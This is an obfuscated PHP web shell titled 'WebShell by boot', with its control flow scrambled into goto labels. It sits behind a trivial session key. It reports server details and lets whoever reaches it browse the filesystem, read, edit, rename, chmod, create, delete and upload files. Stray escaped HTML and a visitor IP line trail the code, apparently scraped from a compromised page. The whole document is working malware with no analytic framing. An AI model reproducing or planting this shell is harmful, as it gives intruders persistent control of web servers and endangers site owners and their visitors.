<?php goto c3d; caa: if (is_readable($now_path)) { $can_read = true; } goto D06; Ee4: foreach ($file_path_array as $k => $v) { goto F6; F6: ?> <?php goto Df; e7: ?> <?php goto cd; Df: if (empty($v)) { ?> <a href="?path=/">-</a> <?php } else { goto ba; D0: echo trim($v); goto Eb; c5: ?>"><?php goto D0; Eb: ?></a><?php goto Ba; e9: echo $file_now_path; goto c5; ca: $file_now_path = $file_now_path . "/" . $v; goto c6; c6: ?> /<a href="?path=<?php goto e9; ba: if (empty($file_now_url)) { $file_now_url = $v; } else { $file_now_url = $file_now_url . '/' . $v; } goto ca; Ba: } goto e7; cd: } goto f48; bc1: $file_path_array = explode('/', $file_path); goto Bf1; e75: ?>>Writeable</span> </p> </div> <?php goto Dd9; B6a: $path = $_REQUEST['path']; goto Ab2; b94: session_start(); goto C82; f58: if ($type == 1) { $now_path = $path; } goto bc1; bed: ?></p> <p>Server Software: <?php goto dbd; Fbb: echo $website_path; goto F28; Dea: ?></p> <p> <a href="?path=<?php goto Fbb; B9f: $web_url = $data['REQUEST_SCHEME'] . "://" . $data['SERVER_NAME']; goto e16; F9f: $website_path = $data['DOCUMENT_ROOT']; goto d4f; Ab2: $data = $_SERVER; goto F9f; b72: if ($can_read) { ?>style="color:green;"<?php } else { ?>style="color:red;"<?php } goto Aa8; df5: $type = $_REQUEST['type']; goto B6a; A87: if ($can_write) { ?>style="color:green;"<?php } else { ?>style="color:red;"<?php } goto e75; Bc3: $file_now_path = ""; goto Ee4; E0e: $can_read = false; goto caa; D06: $can_write = false; goto fa7; Aa8: ?>>Readable</span> | <span <?php goto A87; f2c: if ($_SESSION['kk'] != '2023') { exit; } goto df5; fa7: if (is_writable($now_path)) { $can_write = true; } goto aba; d63: function getFileSize($file_url) { goto Bd; Af: if ($file_size > 1024 * 1024) { $file_size = round($file_size / (1024 * 1024), 2) . ' MB'; } else { if ($file_size > 1024) { $file_size = round($file_size / 1024, 2) . ' KB'; } else { $file_size = $file_size . ' B'; } } goto C7; Bd: $file_size = filesize($file_url); goto Af; C7: return $file_size; goto f4b; f4b: } goto b78; D47: ?></p> <p>User: <?php goto Fc5; E92: ?></p> <p>Website: <?php goto D29; e54: echo PHP_OS; goto E92; e16: if (!empty($path)) { $file_path = $path; $now_path = $path; } goto f58; D29: echo $data['HTTP_HOST']; goto D47; e9d: error_reporting(0); goto b94; E16: $now_path = dirname($file_path); goto B9f; A64: ?> </div> <script> $(function(){ $('#allcheck').click(function(){ if($('#allcheck').is(":checked")){ $('input[name="childcheck[]"]').each(function(){ $(this).attr('checked', true); }) }else{ $('input[name="childcheck[]"]').each(function(){ $(this).attr('checked', false); }) } }) }) </script> <?php goto d63; b91: $now_url = $web_url . $sy_path; goto E94; d4f: $file_path = $data['SCRIPT_FILENAME']; goto E16; Dd9: if ($type == 2 || $type == 3) { goto f5; f5: if ($type == 3) { goto Ca; Ed: $content_result = file_put_contents($path, $file_content); goto ee; Ca: $file_content = $_REQUEST['file_content']; goto Ed; ee: if ($content_result) { echo '<div class="alert alert-success" role="alert">修改文件内容成功!</div>'; } else { echo '<div class="alert alert-danger" role="alert">修改文件内容失败!</div>'; } goto ae; ae: } goto B7; e0: $content = file_get_contents($file_path); goto b5; B8: ?>"/> <div class="form-group"> <?php goto e0; b8: echo $file_path; goto B8; ed: ?></textarea> </div> <button type="submit" class="btn btn-success">Edit</button> </form> </div> <?php goto Dc; A4: echo $content; goto ed; B7: ?> <div class="row"> <form action="?type=3" method="post"> <input type="hidden" id="path" name="path" value="<?php goto b8; b5: ?> <textarea class="form-control" id="exampleFormControlTextarea1" name="file_content" rows="20" cols="100"><?php goto A4; Dc: } else { if ($type == 4) { goto F5; F5: $file_new_name = $_POST['file_new_name']; goto db; c2: $content = file_get_contents($file_path); goto ef; c1: echo basename($file_path); goto be; be: ?>"> </div> <button type="submit" class="btn btn-success">Edit</button> </form> </div> <?php goto df; bc: echo $file_path; goto D9; a5: ?> <div class="row"> <form action="?type=4" method="post"> <input type="hidden" id="path" name="path" value="<?php goto bc; db: if (!empty($file_new_name)) { $rename_result = rename($file_path, $now_path . '/' . $file_new_name); if ($rename_result) { echo '<div class="alert alert-success" role="alert">修改文件名称成功!</div>'; $file_path = $now_path . '/' . $file_new_name; } else { echo '<div class="alert alert-danger" role="alert">修改文件名称失败!</div>'; } } goto a5; ef: ?> <input type="text" class="form-control" id="file_new_name" name="file_new_name" value="<?php goto c1; D9: ?>"/> <div class="form-group"> <?php goto c2; df: } else { if ($type == 5) { goto Ac; Fd: echo $old_chmod; goto ab; ab: ?>"> </div> <button type="submit" class="btn btn-success">Edit</button> </form> </div> <?php goto B3; Ac: $new_chmod = trim($_POST['new_chmod']); goto D4; d9: $content = file_get_contents($file_path); goto Ab; da: echo $file_path; goto Cc; Ab: ?> <input type="text" class="form-control" id="new_chmod" name="new_chmod" value="<?php goto Fd; A5: ?> <div class="row"> <form action="?type=5" method="post"> <input type="hidden" id="path" name="path" value="<?php goto da; D4: if (!empty($new_chmod)) { if (chmod($file_path, octdec($new_chmod))) { echo '<div class="alert alert-success" role="alert">修改文件权限成功!</div>'; $old_chmod = $new_chmod; } else { echo '<div class="alert alert-danger" role="alert">修改文件权限失败!</div>'; } } else { $permissions = fileperms($file_path); $old_chmod = substr(sprintf('%o', $permissions), -4); } goto A5; Cc: ?>"/> <div class="form-group"> <?php goto d9; B3: } else { if ($type == 6) { goto b0; Dd: echo $new_content; goto A8; b0: $new_name = trim($_POST['new_name']); goto e6; B4: ?> <div class="row"> <form action="?type=6" method="post"> <input type="hidden" id="path" name="path" value="<?php goto C2; A8: ?></textarea> </div> <button type="submit" class="btn btn-success">Create Now</button> </form> </div> <?php goto f3; C2: echo $file_path; goto a2; e6: $new_content = trim($_POST['new_content']); goto fe; Fe: echo $new_name; goto E7; a2: ?>"/> <div class="form-group"> <input type="text" class="form-control" id="new_name" name="new_name" value="<?php goto Fe; fe: if (!empty($new_name)) { if (is_file($now_path . '/' . $new_name)) { echo '<div class="alert alert-danger" role="alert">文件已经存在!</div>'; } else { $file = fopen($now_path . '/' . $new_name, 'w'); if ($file) { if (fwrite($file, $new_content)) { echo '<div class="alert alert-success" role="alert">文件创建成功!</div>'; } else { echo '<div class="alert alert-danger" role="alert">无法写入文件!</div>'; } fclose($file); } else { echo '<div class="alert alert-danger" role="alert">无法打开文件!</div>'; } } } goto B4; E7: ?>" placeholder="New File Name"> </div> <div class="form-group"> <textarea class="form-control" id="new_content" name="new_content" rows="20" cols="100" placeholder="New File Content"><?php goto Dd; f3: } else { if ($type == 7) { goto F9; d6: ?> <div class="row"> <form action="?type=7" method="post"> <input type="hidden" id="path" name="path" value="<?php goto A9; A9: echo $file_path; goto a0; F9: $new_name = trim($_POST['new_name']); goto f2; b2: echo $new_name; goto b6; a0: ?>"/> <div class="form-group"> <input type="text" class="form-control" id="new_name" name="new_name" value="<?php goto b2; f2: if (!empty($new_name)) { if (!is_dir($now_path . '/' . $new_name)) { if (mkdir($now_path . '/' . $new_name)) { echo '<div class="alert alert-success" role="alert">目录创建成功!</div>'; } else { echo '<div class="alert alert-success" role="alert">目录创建失败!</div>'; } } else { echo '<div class="alert alert-success" role="alert">目录已存在!</div>'; } } goto d6; b6: ?>" placeholder="New Folder Name"> </div> <button type="submit" class="btn btn-success">Create Now</button> </form> </div> <?php goto Fc; Fc: } else { goto eb; c7: if ($_POST['act'] == 'del') { $delete_file_list = $_POST['childcheck']; if (!empty($delete_file_list)) { goto E6; a6: if ($fail_count > 0) { echo '<div class="alert alert-danger" role="alert">删除' . $fail_count . '个文件失败!</div>'; } goto A0; Ff: if ($count > 0) { echo '<div class="alert alert-success" role="alert">删除' . $count . '个文件成功!</div>'; } goto a6; Ea: $fail_count = 0; goto a7; a7: foreach ($delete_file_list as $k => $v) { $del_result = unlink($v); if ($del_result) { $count++; } else { $fail_count++; } } goto Ff; E6: $count = 0; goto Ea; A0: } } goto de; Ec: ?>&type=7">Create Folder</a> </form> </div> <form action="?path=<?php goto B2; C0: $file_list = scandir($now_path); goto a9; eb: ?> <?php goto c7; Ef: echo $file_path; goto Bb; de: if ($_POST['act'] == 'upload') { $targetFile = $now_path . '/' . basename($_FILES["fileToUpload"]["name"]); if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) { echo '<div class="alert alert-success" role="alert">文件' . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . '已上传!</div>'; } else { echo '<div class="alert alert-danger" role="alert">文件上传失败!</div>'; } } goto C0; Aa: ?> <div class="row"> <div class="col-12" style="margin-bottom: 1rem;"> <form action="?path=<?php goto F2; a9: $file_list = sortByFolder($now_path, $file_list); goto Aa; e8: ?>" method="post"> <div class="col-12" style="margin-bottom: 1rem;"> <input type="hidden" name="act" value="del"/> <button type="submit" class="btn btn-danger btn-xs">Delete</button> </div> <table class="table table-bordered"> <thead> <tr> <th> <div class="form-check"> <input class="form-check-input" type="checkbox" value="1" id="allcheck" name="allcheck"> </div> </th> <th>Name</th> <th>Url</th> <th>Size</th> <th>Modify</th> <th>Permission</th> <th>Action</th> </tr> </thead> <tbody> <?php goto e3; B2: echo $file_path; goto e8; C8: echo $file_path; goto Ec; Bb: ?>&type=6">Create File</a> <a class="btn btn-success btn-sm" href="?path=<?php goto C8; F2: echo $file_path; goto d0; e3: if (!empty($file_list) && count($file_list) > 2) { foreach ($file_list as $k => $v) { if (!($v == '.' || $v == '..')) { goto ac; B6: echo $file_url; goto C9; d3: ?> </td> <td> <?php goto f6; f6: $permission = getFilePermission($file_url); goto Bc; bd: ?>&type=4">Rename</a> <a class="btn btn-info btn-xs" href="?path=<?php goto b1; Bc: if (strpos($permission, 'w') !== false) { echo '<font color="green" style="font-weight: bold;">' . $permission . '</font>'; } else { echo '<font color="red" style="font-weight: bold;">' . $permission . '</font>'; } goto E1; ec: echo $file_url; goto bd; D2: echo date("Y-m-d H:i:s", $modificationTime); goto d3; E1: ?> </td> <td> <a class="btn btn-primary btn-xs" href="?path=<?php goto ec; b9: ?> </td> <td> <?php goto Cd; D5: if (is_dir($file_url)) { echo '<a href="?path=' . $file_url . '&type=1" style="color: green;font-weight:bold;"> <i class="bi bi-folder" style="vertical-align: middle;"> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-folder" viewBox="0 0 16 16"> <path d="M.54 3.87.5 3a2 2 0 0 1 2-2h3.672a2 2 0 0 1 1.414.586l.828.828A2 2 0 0 0 9.828 3h3.982a2 2 0 0 1 1.992 2.181l-.637 7A2 2 0 0 1 13.174 14H2.826a2 2 0 0 1-1.991-1.819l-.637-7a1.99 1.99 0 0 1 .342-1.31zM2.19 4a1 1 0 0 0-.996 1.09l.637 7a1 1 0 0 0 .995.91h10.348a1 1 0 0 0 .995-.91l.637-7A1 1 0 0 0 13.81 4H2.19zm4.69-1.707A1 1 0 0 0 6.172 2H2.5a1 1 0 0 0-1 .981l.006.139C1.72 3.042 1.95 3 2.19 3h5.396l-.707-.707z"/> </svg> </i>' . $v . '</a>'; } else { echo '<a href="?path=' . $file_url . '&type=2">' . $v . '</a>'; } goto D7; ff: echo $file_url; goto f9; C9: ?>&type=5">Chmod</a> </td> </tr> <?php goto ea; b1: echo $file_url; goto A6; Cd: $modificationTime = filemtime($file_url); goto D2; ac: $file_url = $now_path . '/' . $v; goto D8; Be: ?> </td> <td> <?php goto c0; d7: if (!is_dir($file_url)) { goto c4; c4: ?> <a href="<?php goto ad; aa: ?>" target="_blank">click visit</a> <?php goto F0; ad: echo $now_url . '/' . $v; goto aa; F0: } goto Be; A6: ?>&type=2">Edit</a> <a class="btn btn-warning btn-xs" href="?path=<?php goto B6; D7: ?> </td> <td> <?php goto d7; c0: if (is_dir($file_url)) { echo '<font color="green" style="font-weight: bold;">Directory</font>'; } else { echo getFileSize($file_url); } goto b9; f9: ?>" name="childcheck[]"> </div> </th> <td> <?php goto D5; D8: ?> <tr> <th> <div class="form-check"> <input class="form-check-input" type="checkbox" value="<?php goto ff; ea: } } } else { ?> <tr> <td colspan="4" style="text-align: center;color:red;"> No Files! </td> </tr> <?php } goto fb; fb: ?> </tbody> </table> </form> </div> <?php goto B0; d0: ?>" method="post" enctype="multipart/form-data"> <input type="hidden" name="act" value="upload"/> <input class="form-control form-control-sm" id="formFileSm" name="fileToUpload" type="file" style="width: 200px;display: inline-block;"> <button type="submit" class="btn btn-info btn-sm">Upload</button> <a class="btn btn-primary btn-sm" href="?path=<?php goto Ef; B0: } } } } } goto A64; c3d: @set_time_limit(0); goto e9d; F28: ?>">Project</a> </p> </div> <div class="row"> <p> Path: <?php goto Bc3; E94: ?> <!DOCTYPE html> <html lang="en"> <head> <title>WebShell by boot</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script> </head> <body> <div class="jumbotron text-center" style="padding: 1rem 0rem;"> <h1 style="font-size:2rem;font-weight: bold;margin: 1rem 0;">WebShell by boot</h1> </div> <div class="container"> <div class="row"> <p>Server IP: <?php goto E60; aae: ?></p> <p>OS: <?php goto e54; C82: if (!isset($_SESSION['kk'])) { $_SESSION['kk'] = $_REQUEST['kk']; } goto f2c; Fc5: echo get_current_user(); goto Dea; b78: function getFilePermission($filename) { goto Ac8; B78: $info .= $perms & 0x4 ? 'r' : '-'; goto Cad; Ab4: $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-'); goto A9b; A9b: return $info; goto F00; C8c: $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-'); goto e00; c67: $info .= $perms & 0x80 ? 'w' : '-'; goto C8c; C00: if (($perms & 0xc000) === 0xc000) { $info = 's'; } elseif (($perms & 0xa000) === 0xa000) { $info = 'l'; } elseif (($perms & 0x8000) === 0x8000) { $info = '-'; } elseif (($perms & 0x6000) === 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) === 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) === 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) === 0x1000) { $info = 'p'; } else { $info = 'u'; } goto a36; Ac8: clearstatcache(true, $filename); goto efe; Cad: $info .= $perms & 0x2 ? 'w' : '-'; goto Ab4; e00: $info .= $perms & 0x20 ? 'r' : '-'; goto ea1; B83: $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-'); goto B78; a36: $info .= $perms & 0x100 ? 'r' : '-'; goto c67; efe: $perms = fileperms($filename); goto C00; ea1: $info .= $perms & 0x10 ? 'w' : '-'; goto B83; F00: } goto Ca9; E60: echo $data['SERVER_ADDR']; goto bed; aba: $sy_path = str_replace($website_path, '', $now_path); goto b91; Bf1: if (!is_dir($now_path)) { $now_path = dirname($now_path); } goto E0e; f48: ?>     <span <?php goto b72; dbd: echo $data['SERVER_SOFTWARE']; goto aae; Ca9: function sortByFolder($now_path, $all_list) { goto e77; E88: foreach ($all_list as $k => $v) { if (is_dir($now_path . '/' . $v)) { $folder_list[] = $v; } else { $file_list[] = $v; } } goto Ba0; b52: $file_list = array(); goto E88; E87: return $all_list; goto Acc; Ba0: sort($folder_list); goto E19; e77: $folder_list = array(); goto b52; E19: sort($file_list); goto e78; e78: $all_list = array_merge($folder_list, $file_list); goto E87; Acc: } goto Bbf; Bbf: ?> </body> </html>

\n\t\t\t

\n\t\t\t\t

\n\t\t\t\t\t\t\t

<\/div>\n\t\t\t\t\t\t\t

\n\t\t\t\t

\n\t\t\t

\n\t\t\t\t\t

\n\t\t\t\t

\n\t\t\t

\n\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\n\t

Your IP : 3.142.53.216